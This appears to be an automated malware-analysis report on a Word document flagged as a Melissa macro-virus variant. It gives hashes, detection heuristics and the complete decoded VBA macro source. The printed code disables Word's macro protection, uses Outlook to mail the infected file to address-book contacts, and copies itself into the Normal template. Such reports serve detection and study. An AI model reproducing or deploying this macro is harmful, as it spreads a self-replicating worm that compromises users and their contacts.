Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c4f5d386aa45d2e…

MALICIOUS

Office (OLE)

286.0 KB Created: 2006-09-26 19:40:00 Authoring application: Microsoft Word 11.0 First seen: 2012-07-06
MD5: 4a50135368a84895ab59c54f1b540792 SHA-1: ba29407a3c6cd427dab9c259b95c923953bc0c92 SHA-256: 6c4f5d386aa45d2e77eb05cdd4b87a904e1faa7b3e603957ca26800341d87f3b
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Trojan.Melissa-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-23
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToI = ADI1
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(h$)
Set DasMapiName = UngaDasOutlook.GetNameSpace(j$)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
a$ = ""
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://compagniedeslucioles.free.fr In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3420 bytes
SHA-256: b37a513b6e6359703e4ff6262af1bc1a0f0d9ee1668846e3f4d5aed2c93c41e4
Detection
ClamAV: Doc.Trojan.Melissa-15
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "x"
Attribute VB_Base = "1Normal.x"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
a$ = ""
hk1$ = "HKEY_CURRENT_USER"
sec1$ = "Security"
smo$ = "\Software\Microsoft\Office"
b$ = hk1$ + smo$ + "\9.0\Word\" + sec1$
c$ = "Level"
d$ = sec1$ + "..."
e$ = "Macro"
g$ = "Tools"
ot1$ = "Outlook"
h$ = ot1$ + ".Application"
k$ = hk1$ + smo$ + "\"
nam$ = "x"
i$ = nam$ + "?"
aut$ = "y"
j$ = "MAPI"
l$ = "profile"
m$ = "password"
n$ = "Duhalde Presidente "
o$ = "Programa de gobierno 1999 - 2004."
p$ = hk1$ + smo$ + "\"
q$ = "Private Sub Document_Close()"
r$ = "Private Sub Document_Open()"
s$ = "Document"
t$ = " "
On Error Resume Next
If System.PrivateProfileString(a$, b$, c$) <> a$ Then
CommandBars(e$).Controls(d$).Enabled = False
System.PrivateProfileString(a$, b$, c$) = 1&
Else
CommandBars(g$).Controls(e$).Enabled = False
Options.ConfirmConversions = (3 - 3): Options.VirusProtection = (3 - 3): Options.SaveNormalPrompt = (3 - 3)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(h$)
Set DasMapiName = UngaDasOutlook.GetNameSpace(j$)
If System.PrivateProfileString(a$, k$, i$) <> aut$ Then
If UngaDasOutlook = ot1$ Then
DasMapiName.Logon l$, m$
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x1 = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x1)
            BreakUmOffASlice.Recipients.Add Peep
            x1 = x1 + 1
            If x1 > 100 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = n$ & Application.UserName
         BreakUmOffASlice.Body = o$
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = a$
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(a$, p$, i$) = aut$
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> nam$ Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToI = ADI1
ADI1.Name = nam$
DoAD = True
End If
If NTI1.Name <> nam$ Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToI = NTI1
NTI1.Name = nam$
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = a$
ADI1.CodeModule.DeleteLines 1
Loop
ToI.CodeModule.AddFromString (q$)
Do While ADI1.CodeModule.Lines(BGN, 1) <> a$
ToI.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = a$
NTI1.CodeModule.DeleteLines 1
Loop
ToI.CodeModule.AddFromString (r$)
Do While NTI1.CodeModule.Lines(BGN, 1) <> a$
ToI.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, s$) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, s$) <> False) Then
ActiveDocument.Saved = True: End If
If (Day(Now) + 1) = (Minute(Now) + 2) Then Selection.TypeText t$
End Sub

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